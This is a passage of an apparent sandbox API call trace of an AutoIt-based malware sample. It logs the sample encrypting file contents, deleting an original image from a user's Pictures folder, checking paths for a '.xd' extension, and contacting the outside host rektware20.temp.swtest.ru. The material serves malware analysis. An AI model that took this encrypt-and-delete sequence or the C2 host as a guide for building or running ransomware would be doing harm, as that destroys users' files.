lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.510] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.510] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.510] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.510] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.511] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.511] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.511] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.511] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.511] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.511] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.512] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.512] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x534d, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x5350) returned 1 [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] CharLowerBuffW (in: lpsz="byte[21329]", cchLength=0xb | out: lpsz="byte[21329]") returned 0xb [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.512] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.512] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.512] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.513] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.513] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e5e78*, pdwDataLen=0x130e618*=0x534d, dwBufLen=0x5350 | out: pbData=0x17e5e78*, pdwDataLen=0x130e618*=0x5350) returned 1 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.513] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.513] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.513] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.513] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.514] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.514] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.514] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.514] WriteFile (in: hFile=0x3bc, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x5350, lpOverlapped=0x0) returned 1 [0062.521] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.521] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.521] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.521] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.521] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.521] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.521] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621588, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.521] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.521] CryptDestroyKey (hKey=0x164c2b0) returned 1 [0062.522] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.522] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.522] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.522] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.522] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.522] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.522] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.522] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.522] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.523] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.523] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.523] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.523] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.523] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.523] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.523] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.523] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.523] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.523] CryptReleaseContext (hProv=0x17a9df0, dwFlags=0x0) returned 1 [0062.523] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.524] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.524] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.524] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.524] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.524] CloseHandle (hObject=0x2ac) returned 1 [0062.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.525] CloseHandle (hObject=0x3bc) returned 1 [0062.540] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.540] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.540] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", lpFilePart=0x0) returned 0x47 [0062.540] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\gmrsq0jp-.gif")) returned 0x20 [0062.540] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0062.541] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\GmRsq0JP-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\gmrsq0jp-.gif")) returned 1 [0062.544] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.544] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0062.544] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.544] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.544] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.544] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.545] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.545] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.545] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.545] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.545] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ef8c) returned 1 [0062.545] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.545] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.545] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.546] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.546] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.546] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629300, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629300*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.546] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.546] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.546] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.547] CloseHandle (hObject=0x0) returned 0 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\mB69.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.547] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 